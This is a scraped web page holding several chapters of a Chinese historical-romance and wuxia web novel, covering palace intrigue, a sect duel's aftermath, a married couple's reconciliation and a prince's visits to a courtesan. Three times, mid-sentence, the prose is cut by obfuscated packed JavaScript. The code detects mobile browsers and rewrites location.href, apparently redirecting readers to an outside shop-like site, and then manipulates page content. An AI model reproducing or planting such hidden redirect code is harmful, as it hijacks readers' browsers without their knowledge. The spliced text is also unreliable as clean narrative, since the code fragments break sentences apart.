叶岚只觉胃中十分难受,想坐起身来。冷逸尘便坐到她身后,让她靠在自己身上,问道:“可好些?” 叶岚摇摇头,然后又点点头。 “今日是我不好,不该追问。” 叶岚又是摇头。 “总有办法知道消息。以后再有事都交给我来处理,不要再如此冒险了。” 叶岚缓缓说道:“我知道你放不下长右山……在你心里长右山和祁国一样重要……” “可这些都没有你重要……” “你能这样想,我很高兴。为了你,我愿意。他们是辽东人,不知底细。今日之事若闹大了,不知道会有什么样的后果,恐会牵连无辜。这三碗酒能解决问题,我这次可是赚了。若这酒你喝了,我们真就回不来了……” 冷逸尘听了心中不是滋味。此前在叶皓跟前,她可以做事不计后果,如今却要先分析利弊。这其中缘由便是她不能依靠、没有倚仗。 他紧紧揽着叶岚,说道:“对不起……”他也没有想到,叶岚为了他,能思虑周全,能付出这么多。 “你不必对我多有抱歉,我们是夫妻,我既已跟你走到这里,就会一直走下去,无论发生什么事,都会和你一起面对。” 这几句话像一块石头重重的砸在了冷逸尘心上。此前,叶岚心中有他,他便已经知足了。可此刻,他竟欢喜的要流出眼泪来。 他看着柔柔弱弱的叶岚,恨不得将她化为一颗珠宝,永远放在心口珍藏密敛。 他闭眼,扪心自问:自身何德何能,又是何其幸运,能得这兄妹二人如此相待。 叶岚半眯着眼睛说道:“头好痛,帮我揉一揉。” 冷逸尘轻轻为她揉着太阳穴。 叶岚继续说道:“我也没有想到我今日会做出这样的事来,有些事就是这么自然而然的去做了。想来我或许本来就是这样的人,只是之前被管束的太多了。” “以后你想做什么便去做,不会有人再束缚你。” 叶岚挪了挪,换了个舒服的姿势躺靠着,悠悠的说道:“不,我还是有分寸的。在这里可以,在其他地方不行。若是一直在这里便好了。” 冷逸尘未语,他知道这“其他的地方”是指哪里。是啊,他们总归要回去。 敲门声响起,叶岚让冷逸尘起身。 冷逸尘安顿好她,站起来理了理衣衫。 梧桐、秋雨端了饭食进来,并报泽生在外等候。 叶岚见冷逸尘没有动,便说:“我没事了,你且去吧。” 冷逸尘这才出去了。 泽生向他汇报:“殿下想问的事都有回信了,京中一切安好。陛下对殿下此次巡边颇为满意,皇后娘娘却因此气恼殿下,连着向陛下三次提议想让殿下回京,都被陛下回绝了。崇安王殿下现在执掌了羽林卫。” 冷逸尘点点头,说道:“今年剑宗大比出了事故,涉及到长右山,你带几个人即刻启程去崇阳山打探一下消息。” 泽生抱拳:“属下领命。”迟疑了一下他继续说道:“公主今日喝的是辽东的百泉酿,跟殿下搭话的人也只是个贩茶的商人,背后并没有势力。属下告退。” 冷逸尘没想到泽生已经查了一下此事。拍拍他的肩膀:“路上小心。” 晚间,叶岚躺在浴桶里,顿觉周身舒爽。 安如向浴盆里撒着香料,说道:“公主,这里没有别人,奴婢与您说几句话。咱们自梁国来,在这祁国也只有殿下可以倚仗了。殿下如今对您钟情,事事都顺着您。可您有没有想过,日后有了别的女人,他对您还会这般吗?” 叶岚不愿多想这些,搪塞道:“他……不会。” “公主,即便您相信殿下。可殿下是皇子,今日为两国安定可以娶您。明日为拉拢朝臣,便也可以娶其他的女子。皇家哪里有长情之人,日后殿下厌弃了公主,公主那是该怎么办?以后公主便多在院子里,哪个男子也不愿自己的女人出去抛头露面的。” “姑姑,我自有分寸。” “公主就是这样有分寸的?将自己弄成这般模样?要拿出贤良淑德、端庄大气的公主样来,不要让别人看低了公主。” “嗯,我知道了。”叶岚不想辩驳,有些事安如并不知缘由,但安如的话也敲打了叶岚。 如今她对冷逸尘的恋意正浓,忘却了这一层。之前她也不经意的去试探冷逸尘,其实就是她心底深深的担忧。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14073879|149415||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 日后的事,谁又说得好呢? 叶岚又泡了很久很久,安如来给她加了几次热水催她出浴。直到她觉着体内的酒气随着氤氲蒸腾出去之后才出来。 进了卧房,里面已是淡淡的茉莉香,被褥也换了新的。 她在案几边晾头发,找了篇赋文抄写。这个习惯还是跟叶均读书时养成的。如今虽然两天打鱼三天晒网的,但是也没有丢掉。 冷逸尘端着红枣莲子羹进来。这本是安如要送进了的,被他截了下来。 安如不卑不亢、明里暗里的提醒他:“公主身子还未好,需好生休养,殿下劳累一日,也请早些回去安歇。” 冷逸尘十分无奈,进了屋,坐到叶岚身边,将碗放在案几上。 叶岚此时并不饿,说道:“先放着吧。” “安如叮嘱我一定要看着你将这碗羹吃掉。” “你还真听她的话!” “她对我误会不浅,你找机会与她解释解释。否则下次连这屋子都不让我进了,我这驸马当的真是委屈。” 叶岚将碗拿起来,给冷逸尘喂了一口羹,笑道:“我自会向她解释。委屈驸马了,这碗羹算是向你道歉。” 说完将碗放到他手里,继续写下:桐间露落,柳下风来。琴号珠柱,书名玉杯。 “庾信的《小园赋》,后面有一句‘龟言此地之寒、鹤讶今年之雪。’倒是挺应这临闾关的景。这里的冬日便如所写的这般寒冷……今日让你受委屈了。” 叶岚摇摇头:“你总说委屈了我,你可知我受的真正委屈是什么?” 冷逸尘未语。在他看来,叶岚处处都是受了委屈,无奈的嫁给他,被皇后逼着喝药,随他奔波,素蕊的事又令她受惊吓,今日又是这样的境况。 而这一切都是因他而起,但他却未能护她周全。 叶岚也未要他回答,而是继续说道:“我自认是一个顺从的人,我对住处、饮食都顺从实际,没觉得有什么委屈。我与你是夫妻,与你共同面对问题,亦没有觉得委屈。可唯在感情上,我是一点委屈也受不得的。譬如昨日之事,我就觉得十分委屈。” “是我不好,我应该提前告诉你,不该一声不响的便离开,也不给你消息,让你担心了。”这是冷逸尘在泽生的提示下才想明白的。 昨日他虽道了歉,却未真正理解叶岚的生气之处。此前他一个人习惯了,所以事事自己做主,无需告知他人。但现在有了叶岚,他这习惯还未改过来。 冷逸尘觉得还是自己对叶岚不够重视。泽生则指出问题所在:殿下与公主相处的时间太少了,对公主了解不够。 再次诚恳的道歉,让叶岚也无法再说什么,她就是这样容易原谅。 叶岚看着他,心中又想起了安如的话。她心里是相信他的,可有些话还是问问安心些。可是问了又怎样呢?只要他心里有她便可以了。 虽是这样想,但叶岚却始终觉得心中烦闷。 她将笔递给冷逸尘,带着命令的口吻说道:“把后面的抄完,抄不完不许睡觉。”说罢自去床上躺下。 不知过了几时,冷逸尘也躺到了她的身侧,吻了她的额头,低语道:“听公主的吩咐,都抄完了。我的公主大人可解气了?” 叶岚未语,往他怀里靠了靠。 时间总会抚平一切。安如的话叶岚倒也听进了一些,不过也只是少到外面去了。 此后每日上午由冷逸尘陪着练弓箭学剑术。下午便在院子里做些闺中女子该做的事。 36. 只身去千里 二十日后,泽生归来。 泽生离开临闾关后便直奔崇阳宗。此地他并无相识,只得住下来打探消息。 探听得此番剑宗大比热闹异常,比了月余也未见分晓。 这日该招摇宗对阵长右宗,双方各出五名弟子,进行五场比试。前四局双方各胜两局,最后一局是招摇宗布赫对长右宗荀婉婉。 可招摇宗求胜心切,那布赫对荀婉婉出了狠招,招招致命。崇阳宗的几个大弟子多次叫停,可布赫却无停手之意。 长右山弟子闫辰有意保护师姐,却死在了布赫的苗刀下。 后由崇阳宗宗主从中调停,以招摇宗道歉了结此事,结束了剑宗大比。 泽生觉得此事颇有疑点:剑宗大比,互相切磋技艺而已,招摇宗何苦下此狠手引得仇恨呢?崇阳宗的人为何只是叫停,却未有人出手制止呢? 思考一番,不得要领。泽生决定去找叶皓,他留下跟随的两个侍卫,独自南下去寻叶皓。 彼时叶皓巡视完海防,正延洛河西行,巡守边境防守,驻扎在邙城。 泽生本打算去梁京寻他,没想到渡了洛河便偶遇他的踪迹,真是天意。 泽生不好直接去军营中找叶皓,便在邙城安顿下来。待夜间悄悄潜入军营,将一枚带信的飞镖直接钉入了中帐里的柱子上。 帐中人皆惊慌,忙命全营将士紧急防守,点亮火把,查找刺客。 可泽生早已逃遁,于树顶上远远看着大营里的兵荒马乱。 叶皓解开字条,只见上面写着:明日巳初,邙城瑞祥客栈见。 后面还画了一把剑,剑柄上写了个“右”字。 冷逸尘疑惑,难道是长右山的人,但随即打消了这个念头。他才与师妹在上一站分别,算时间,她们一行人应该快到长右山了。 若是她们有事,季萧也会传消息回来。此人肯定与长右山有关,或许知道些什么。 叶皓一时也想不穿此人是敌是友。若是友,为何他夜闯军营;若是敌,又为何与他相约于闹市区。 但此人在能军营中来去自如,不留一丝踪迹,定是高手中的高手。有备无患,叶皓带了四个侍卫前往。 叶皓辰正时已坐到瑞祥客栈,四个侍卫分别隐在周围。只待来人。 半个时辰后,巳初。一个身着粗布短衣,头戴笠帽,手持长剑的人坐到叶皓对面。 这人低着头,看不清面貌,只能看见下颌上的一层胡茬。 叶皓思考着是谁,却听见低沉的声音说道:“那四个人都被我放倒了,未伤及性命,两个时辰之后便能醒来。可有胆量随我来。”说罢起身便走朝楼上房间走去。 叶皓只觉声音耳熟,但此情此景下一时也想不起来是谁。事已至此,只得随那人上楼进了一间客房。 那人摘下笠帽,待叶皓看清面貌,震惊不已。随后哑然失笑,这惊世骇俗之举也只有他能做出来。 叶皓哭笑不得的说道:“泽生,你何苦如此。” 泽生抱拳行礼:“信王殿下。” 叶皓随即想到了叶岚和冷逸尘,忙问道:“你怎么来了?你家殿下呢?他们也来了?” “我自己来的。殿下和公主还在燕北,一切安好。” “你此番是为长右山的事来的?” “是,我家殿下听说了剑宗大比的事,不放心,派我来打探。我在崇阳山没打探出什么来。所以特来找殿下。” 叶皓心情放松下来,坐下倒了一杯水,一饮而尽。说道:“那你算是来对了。”随后将自己所经历之事告知于泽生。 原来叶皓到达邙城之前在晋阳驻扎。出巡时遇到了长右山的队伍带着灵柩路过晋阳。 叶皓与荀婉婉在林间相遇。只是相视那一眼,荀婉婉便红了眼角。 叶皓将一众人安顿到晋阳城中,荀婉婉将实情经过告知叶皓。 这经过倒是和泽生打听到了没什么区别,但荀婉婉还说了一些隐情。 江湖四大剑宗,曾相约从不干涉朝廷内政。只是近年来,招摇宗在西南与当地的驻军来往甚密。再加之江湖上本就对招摇宗平素的行事心存鄙夷,所以江湖各门派对招摇宗颇有微词。 或是有了军方支持,招摇宗这几年来发展很快,实力不容小觑,他们急于在江湖上立有一席之地。 说道西南驻军,叶皓马上想到了杜卫,难道杜卫与招摇宗勾结,难道他不仅想叛乱夺位,还想搅得天下大乱。 事故发生后,荀正阳亲上崇阳宗。经各宗门调停,以招遥宗公开道歉、伤人者自废功力了结。为确保归途安全,荀正阳留在崇阳宗斡旋,命长右山弟子分批回山。荀婉婉与高荀找了镖局送灵柩归山。 高荀是荀正阳捡回来的孤儿,原名高欢,为感念师傅的救命之恩,遂改名为高荀。荀正阳极为重视他,颇有让其传承衣钵之意。 一路上荀婉婉收起哀伤与愤怒,强装镇定。直至看见叶皓那一刻,再也忍不住了,落了几滴泪。 叶皓是她父亲的亲传弟子,在她在心里,他要比别的师兄弟关系近一些。 饶是这样,叶皓在荀婉婉眼中看只到了沉稳与坚毅,再也没有了以前的依恋之情。 他们真的再也回不去了。 荀婉婉还告诉叶皓,自叶皓和冷逸尘都下山后,她父亲就没再收弟子了。她父亲过世后,仅剩的两个个弟子便投了荀正阳门下继续修习。也就是说荀秀峰这一派几近失传。 事关重大,叶皓需马上和江源联系。此时也不是叙旧的时候,叶皓安排了他的护卫季萧和韦素装成镖师护送荀婉婉南下归 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14073880|149415||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 山。 他则需尽快巡防完毕,以便与赵忠、江源汇合,商量对策。 叶皓对泽生讲完这些,继续说道:“招摇宗的事涉及到我朝之事,暂不可轻举妄动。大比之事已善终,江湖上应该暂时不会有什么风浪。长右山的仇我会去报,但是需要时间。你回去告诉你家殿下此事我来处理,让他放心。” 泽生抱拳道:“信王殿下英明果断,我家殿下自愧不如。” 叶皓维护冷逸尘:“他自有他的长处。” “事情已明了,我需尽快回去。告辞。”泽生不啰嗦,当即拿了包袱准备要走。 临别时分,叶皓还是问了自己心中的疑惑:“怎么不直接来找我?” 泽生一本正经的回答:“久不行夜路,想试试自己的功夫。” 叶皓笑着摇头:这么多年,性子倒是一点没有变。 泽生归来后,向冷逸尘说了情况,但隐去了他去见叶皓、叶皓计划复仇一事。 他只劝说道:“此事已得妥善解决,若再去复仇,有故意寻衅之嫌,也又有驳各大宗门颜面之嫌。” 冷逸尘觉得不无道理。他想等此次燕北巡守结束后不再任职,带叶岚回长右山看一看。 泽生回来了,冷逸尘又外出巡视了,他觉得只有泽生在叶岚身边他才能放心。 叶岚总觉得此次泽生回来有些不同,但又说不上哪里不同。 深秋已至,泽生这个师傅也严苛起来,将各种暗器的使用方法一一交给叶岚。 叶岚还笑他:教会徒弟、饿死师傅。 泽生冷笑一声未语,心想:就是神仙教你,你也难岀师。 等冷逸尘最后一次巡守回来,已到了落雪的时节。 冷逸尘知道叶岚不愿回京,于是给京中写了奏书:燕北匪患未平,为保燕北山河无恙,百姓安居,臣愿在此驻守。 祁帝与内阁皆应允。 一场雪落,山河苍茫。冷逸尘带叶岚进山里打猎,泽生却说无趣,留守军营。 待归他们来时,只见泽生留下的一张字条。 “殿下、公主: 燕北的冬天太冷了,属下出去看一看。 泽生。” 叶岚看到字条很是惊讶,她不理解泽生为何要这样做,问道:“要不派人去找找?” 可冷逸尘却说:“我去问过陈安了,泽生并未支银两。他身上盘缠不多,随他去吧。在外面待不下去了自然会回来。” 叶岚依旧担忧:“那会不会有危险。” 冷逸尘十分放心的说道:“他在江湖上并无仇家,以他的功夫,只会让别人有危险。” 叶岚看着字条,明白了冷逸尘所说的:泽生他只是他自己。 他们等泽生回来,可这一等就等到了来年春天。 37. 锦瑟佳人问 冬日的临闾关十分安静,大雪一场接一场,掩盖了一切喧嚣。 大雪封山,巡守暂停。 冷逸尘与叶岚二人日日相伴,岁月静好时,梁国之中却暗流涌动。 叶皓自别了泽生后,立即去与江源汇合,重新分析局势。江源对江湖门派之事不甚了解,觉得一个小小的门派不足为惧。 叶皓则觉其中原由并不简单,一时没有头绪,只能遣人留意招摇宗动向。 年关,叶皓没有回京。江源必须要回去一趟,因为他要成亲了。 叶皓很是惊讶,他一直在外,什么时候定的亲?婚之六礼,至少需要三个月的时间。他怎么这么快,说成亲就成亲。 江源只说了一句:缘分使然。 叶皓也来不及准备什么贺礼,只送了一对黄龙玉佩给新人,等日后回京了再备一份厚礼。 二月初叶均娶了侧妃,是杜卫侄女杜兰芳,夏萱一气之下带着两个孩子并父母一同去了宜州外祖家。 叶皓猜测叶均之事必有隐情,但心中也不免要责怪他,为嫂嫂抱不平。 夏萱父亲,夏老先生不堪心中郁结、路途劳顿,到了宜州便一病不起。拖了半年,不想夏老先生竟故去了。此乃后话,暂且不表。 二月底,叶皓安排好大营之事回了一趟梁京。 与叶均在成王府书房见面,叶均两鬓已现白发,叶皓见了又心疼他在京中斡旋辛苦。 如今的成王府已不便谈论其他,叶均亦只是说了句:“放心,我还能应付的了。咱们的事,我没忘。” 叶皓放心下来。兄弟二人只是饮酒,酒尽而散。 今日这酒喝的真是难受。 叶皓出了成王府已是弦月高挂,身边除了护卫没有一个朋友,偌大的梁京已经找不到一个可以说话的人了。 他想到了很多人:秦羽,已经走了很长时间了;江源,已回了军营,大约连蜜月都没有过完,他倒是把新妇藏的很好,连是哪家姑娘、姓甚名谁都没有告诉他;叶岚,听泽生说她现在与长风很好,还算让人放心;三嫂嫂,现在应该是最伤心的人吧。 他骑着马在路上漫无目的,一路走一路想,不知不觉竟来到了翠微楼。 此时宾客渐散,叶皓上楼只说要听锦瑟姑娘的琴。 老板不敢得罪,忙唤锦瑟出来接待,另让伙计温酒上点心。 还是上次的雅间,叶皓歪靠在桌边,望着楼下水色灯影。 锦瑟抱琴入,行礼问安。叶皓并不理会。 锦瑟摆坐下摆好琴,一曲《长门怨》,哀怨中带着怒气。 叶皓听着很是不喜,说道:“换首曲子。” 锦瑟换了一首《潇湘水云》。 叶皓听着也只觉得压抑,摆了摆手:“停了吧。” 锦瑟请罪:“殿下恕罪,奴家弹的不好,扰了殿下雅兴。” 哪里是弹奏不好,分明是演奏者的心绪难宁、听曲者思绪不平。 叶皓侧目看了她一眼,这才发现她眼角泪痕犹在。 美人垂泪,我见犹怜。叶皓本就无意听曲,只是想找人说说话。他换了个坐姿,低声道:“过来。” 锦瑟起身上前,坐到叶皓身侧,眉目低垂,斟了杯酒双手奉上。 叶皓接过一饮而尽,问道:“何事,让你如此伤心?” 锦瑟强颜一笑,又为他斟了一杯,说道:“多谢殿下关心。无非就是被客人责难了几句。奴家这样的人,什么委屈没受过,算不得什么。”说着又将酒杯奉上。 叶皓将酒杯放下,懒散的说道:“不想笑就别笑了。你我也算是旧相识,不必在我面前掩饰。” 这句话直击锦瑟痛点,有多少人自称与她有旧,可也都只想看她展颜的一面,人后的心酸与苦楚谁愿意去关心。 想到此处、一时未忍住,便又垂下泪来。 叶皓递上一方手帕,锦瑟未接,只用自己的帕子拭了泪。 等她排解完情绪,叶皓问道:“是谁?” “杜家二公子……今日来听曲,喝醉了欲对奴家……不轨……”锦瑟怅然,说的断断续续,似乎不愿再提起。 又是杜家!杜家老二杜纯之,出生时其父已站稳西南,自小便娇生惯养,长大亦是飞扬跋扈、浪荡不羁。 此番来京是送堂妹出嫁,可事后却迟迟不归。 叶皓捏着酒杯,若有所思的说道:“这杜家还真是嚣张。” 锦瑟知叶皓不在京中,恐他不知情况,解释道:“这杜家二公子自来了京中,屡次出言不逊、惹是生非。大家只不过是惧着杜将军的权势,不敢反抗罢了。” 叶皓顿了一下,看向锦瑟:“我替你教训他。” 锦瑟哪里敢应承:“殿下喝醉了,因为这点小事,不值当与杜家结怨……” 她赶紧岔开话题:“殿下,今日又有什么烦心事?” 叶皓不知从何说起,心酸的笑了笑,说道:“没什么,只是感觉这日子过得太累了。” 锦瑟又端起酒杯奉上:“太累了,就停下来休息休息,喝杯酒,都会过去的。” 叶皓未接,冷笑一声:“说的倒是轻巧!” 锦瑟放下酒杯,笑语为其解忧:“可这人活着,哪有不累的?农夫为劳作所累、商贩为经济所,他们所求的都是温饱安康。殿下也一样,只不过殿下是为天下所累,为的是百姓安居……” 叶皓摇了摇手,说道:“不用讲这些大道理。若可以,我宁愿去当个农夫、商贩。” 锦瑟摇了摇头:“想必殿下从未见过真正的人间疾苦。殿下可知,就这一桌小席面,便可抵得普通三口之家一个月的开销。殿下若是农夫、商贩,只怕会觉得日子更累。殿下之责,比平民百姓更重。” 叶皓转头像她看去,眼中多了些欣赏:“呵呵,你竟能看得如此透彻……这生活离我希望的相差太远。” 锦瑟附和道:“心中有希望生活就有盼头。” 叶皓有些茫然,希望,他现在的生活好像看不到希望。他反问:“那你呢?你的希望是什么?” 贱籍之人,她哪敢有什么希望。但也配合着叶皓说道:“没有想过,也许……会回到洪汝河畔,等着奴家的白衣公子。” 白衣公子!叶皓想着那时的字自己。是啊,那时他是多么自在,也只有一个烦恼:把秦羽的病医好。 叶皓坐正身体倒了两杯酒,递于锦瑟一杯,说道:“祝你早日遇到你的白衣公子。” 说完饮尽杯中酒,起身离去。 若是别的男子说出此话,锦瑟会不以为意,当句玩笑罢了。 但是叶皓,白衣公子本人,说出来这句话让锦瑟心中生出了小小的希冀。 虽然锦瑟反复告诉自己:这不能当真。可这希冀就如同一盏有灯,一直在那里亮着。 过了几日,杜纯之在雪兰画舫上,被刘尚书家的公子刘裕打了,还被扔下了水,甚是狼狈。 此事告到了京尹处,京尹也是两边和稀泥。虽妥善解决,但明眼人都看得出来,京尹偏袒了杜家。 此事闹得沸沸扬扬,皆言杜家势大、恐日后功高震主。 这自然是叶皓的手笔。 三月初十,叶皓便要启程回军中了。出发前一日他提着酒去找叶均,二人又是大醉一场。 叶皓想起以前在这王府住的时候,饮酒时每每要听叶均絮叨一番。而如今,叶均却会与他痛饮三百杯。 叶均的书房内,叶均只告诉他:静观其变、伺机而动。 叶皓听完,感觉这日子着实煎熬,毫无头绪。一时胸中郁结,使劲摔了两个酒坛发泄出去。惊得众侍从不敢入内。 叶皓走时,叶均已经醉的起不来。是成王侧妃杜兰芳相送。 这杜兰芳生的娇小玲珑,一副谦和有礼的样子。她边走边问:“信王殿下难得来一次,怎么就是吵起来了呢?” 叶皓不悦,冷声道:“这是我二人之事,与他人无关!” 杜兰芳赔笑道:“自本宫入府,从未见殿下饮过酒。殿下今日是见了信王殿下高兴,才会饮了这么些。不想你们二人……” 叶皓打断她:“他不配喝今日的好酒!侧妃无需再问!”他本应叫声“嫂嫂”,可这两个字却怎么。也说不出口。 叶皓说罢也不告辞,拂袖而去,十分无礼。 出了成王府,叶皓只觉得这酒还未喝过瘾。他骑的那匹马似乎是认识路一般,又将他带到了翠微楼。 这次他未走正门,而是走了侧门。在二楼的一个角落里坐下,自斟自饮。 锦瑟路过,从身影认出了叶皓。上前问道:“殿下,为何在此?” 叶皓心烦意乱:“我今日不想听琴,只想喝酒。” 锦瑟意会,低声说道:“这里人杂,请殿下随我来。” 她引着叶皓进了转角的一个房间内,点了蜡烛说道:“这是奴家住的屋子,不会有人来打扰。殿下先在此安歇。”说完便又出去了。 叶皓熄灭了蜡烛,提着酒壶坐在窗户边。看着雕车竞驻于天街,宝马争驰于御路。繁华盛世,看不出一丝危机。 又一壶酒喝完,外面清静了许多。盛宴散尽,众人各自归途。 锦瑟端着解酒的茶汤进来,重新点燃了蜡烛。 叶皓只剩了三分清醒。他也很想狠狠再醉一回,可这次没人给他善后,接他回府。 侍卫在暗处,只会等他有危险时才出现,他自己需留着这三分清醒。 叶皓喝完茶汤,坐在桌边,用一只手撑住头,双眼微阖。 锦瑟跪于他面前,端正的行里叩拜礼:“奴家多谢殿下之恩。” 叶皓漫不经心:“本王怎么有恩于你了?” 锦瑟正色道:“杜纯之的事,多谢殿下。” 叶皓不愿承认:“不是为你,那杜纯之的确该教训一下,刘裕则与我有旧怨。” 锦瑟眼底流露感激:“虽不是为奴家,可却解了奴家的气,还是要感谢殿下。” 叶皓抬起头,眼神有些迷离,看着锦瑟淡扫蛾眉、清眸流盼,情不自禁的说道:“靠近些。” 锦瑟向前膝行两步。 叶皓挑起她衣裙上的绦带,问道:“换衣服了?” 锦瑟紧张的握紧了拳头:“是……脂粉味道浓郁,怕熏了殿下的……好酒。” 叶皓似笑非笑,抬起手,用食指和中指触上了锦瑟的头发,沿着脸颊一路向下,到下颌、到脖颈、直至胸前。 锦瑟低着头,紧张到不敢呼吸。心头鹿撞,身体微微向后躲了一下,颤声道:“殿下……请自重。” 锦瑟此番拒绝在叶皓看来却是欲迎还拒。是啊,常年浸染于声色场的人,自然懂得如何套路男人。 他冷笑一声,手指挑出锦瑟胸前的玉坠,是剑穗上的那块玉。 他捏 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14073881|149415||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着玉问道:“一块玉而已,值得这般宝贝吗?” 锦瑟将玉拽回,侧过身去小心藏到衣襟里,回答道:“知己相赠,自然贵重。” “知己”二字让叶皓玩味了良久。 他没做出回应,而是问道:“刚才,你……不愿意?”说着,叶皓的靠回座位上,离锦瑟远了一些。 锦瑟毫不犹豫的回答:“是,不愿意。奴家是深陷污泥之人,恐污了殿下清誉。” 叶皓不假思索:“我为你脱籍,可好?” 锦瑟苦笑着摇摇头。 若是换了别的乐籍女子,得到皇子如此青睐,那简直是泼天地富贵,做梦都会笑醒。可她却拒绝的干脆。 叶皓倒是猜不透她的心思了,问道:“为什么?” “殿下身份尊贵,为乐者脱籍,有损殿下声誉。再者,若脱了籍,奴家怕是再也见不到殿下了……” 的确,纵然脱籍,也难改出身。离了这个地方,就再也没有机会见到他。 叶皓意味深长的说道:“哦?你想与我在一起……也简单,入我王府来。” 锦瑟依旧摇头,带着回忆说道:“奴家心念之人是洪汝河上光风霁月的白衣公子,不是京城中的信王殿下。” 叶皓看了她一眼,她说这句话时竟抬起头直视着他,眼神坚定而又悲戚。 叶皓心头一颤:是他看低了她这个人,看低了她对他的感情。 “光风霁月的白衣公子……”叶皓重复着,然后自嘲的笑了一声,大概这世上再也没有白衣公子了。 已至深夜,外面再无人声,只剩下清清冷冷的月光。 叶皓跳窗走了,留下锦瑟捧着玉坠回忆良久。 次日叶皓启程,路上他对于杜家拉拢叶均的事,还有些疑问。这些事他不方便问叶均,于是决定绕路去看看夏萱。 夏萱看到叶皓,很是惊讶。 宜州这座宅院是祖产。院中花圃小池,朴素雅致。虽然不能和王府比,但也别有一番韵味。 叶皓先去拜访了夏家伯父伯母,而后又去看了侄子侄女。看到他们一切安好,便也放心下来。 夏萱很高兴叶皓能来看她,挽留他::“住两日吧,两个孩儿都想叔叔了。” 叶皓喝了口茶,婉拒道:“军中事务繁多,不能耽搁。” “那吃过午饭再走,我让厨房做清蒸鲈鱼、糖醋排骨,都是你爱吃的。” “嫂嫂还记得我爱吃什么。哥哥恐怕都不记得了。”叶皓试探着说。 夏萱眼中闪过一丝落寞,说道:“我知道你想说什么。京中肯定在传你哥哥不是,你不要相信。他都与我说了,所以让我带着双亲和孩子出京来。” 夏萱何等聪明,一下子就猜出了叶皓的言外之意。 她缓了缓情绪,继续说道:“我选择了此处,一是因为此处是我外祖家,有人照应,也有现成的宅院可以居住;二是此处有清河崔氏大儒,孩子进学便利。” 叶皓又问:“哥哥可曾与嫂嫂说我被行刺一事?” 行刺之事是叶皓在巡守路上故意安排,但他并没有大肆宣扬是叶均所为,而是隐晦的将消息在京城传开。 夏萱屏退侍女,小声道:“说过。你将刺杀的消息传入京城后,杜家相信了你兄弟二人已反目。荣贵妃就遣人来人说媒。你哥哥为表示诚意,才娶了杜氏。 叶皓听完一愣,没想自己竟是此事的始作俑者,他有些自责。他不知该说什么好,带着歉意叫了一声“嫂嫂。” 夏萱反而并没有多哀伤,而是低头抚着肚子说道:“朝中局势复杂,我不了解,也没有精力去想那么多。我现在只盼着咱们都能顺利通过这一关,腹中的孩儿能顺利降生。” 叶皓听了又是一愣,他并未看出夏萱有孕,猜着应是月份不大,想来她出京也是为了安胎。 夏萱叹了口气说道:“我既然帮不了你们兄弟,便照顾好孩儿们,不给你们添累赘。” 叶皓起身,正色端正一礼,说道:“嫂嫂大义,我替哥哥谢谢嫂嫂。” 夏萱亦起身回礼:“这可使不得。阿皓,这半年你稳重不少,嫂嫂很高兴。嫂嫂希望你能相信你哥哥,记得你们的初心。”夏萱说罢,便去厨房了。 叶皓反复琢磨着夏萱的话,难倒他变了很多吗?他忽而又想起来那句“洪汝河上的叶公子”、“京城里的信王殿下”。看来,他真的是变了。 许久未吃过家人做的饭菜,那顿午饭叶皓用了很多,用的很香。 临走时,夏萱包了好些吃食给叶皓,叶皓简装而来带不了这些东西。 夏萱便将一盒枣饼交给他,说道:“别的不要,这个一定要拿着。我刚做出来的。” 叶皓接过打开盒子,还温热着,吃了一个还是老味道。 这枣饼做法繁复,想是他午憩时夏萱特地为他做的,他心下感激,又行一个大礼。 夏萱笑道:“这么大人了,还喜欢这些甜点。” 叶皓嘿嘿一笑:“还是嫂嫂好,记得我爱吃这些。” 夏萱心中甚是欣慰,小时候跟她要糕点的孩子如今已经成年了。她又笑道:“都早该议亲的人了,还这么小孩子这么气。可有看上的姑娘,嫂嫂帮你……” 话还没说完,就被叶皓的连连告辞声打断了。 看着叶皓离去的背影,夏萱无奈的摇了摇头。殊不知叶皓这一去,经历了千难万险。 38. 荡子心事重 燕北的春天来的很晚。 桃花如云霞般铺在角山之上时,军士们在离大营不远的地方,捡到了重伤的泽生。 泽生满身是伤,但已经用过最好的伤药,仔细包扎过。 看伤口的恢复情况,应该不是近期受的伤。只是一路颠簸,伤口又出了血。 军医检查过后,直言胸口一剑伤及心脉,需好生调养。 还好此处有辽东的天材地宝,即便人参灵芝鹿茸这些,当饭吃都可以。 军士在为泽生换衣服时,在他的胸口发现了一方手帕。帕子上绣的是并蒂莲花,但绣工着实是差强人意。 冷逸尘看着帕子,已明白几分,遂将帕子压在了他的枕头下面。 三日后泽生转醒,只说了一句:“我回来了。”然后伸手去摸胸口。 冷逸尘知道他在找什么,拿出帕子放在他的手里。他小心翼翼的将帕子放在胸口的衣服里。 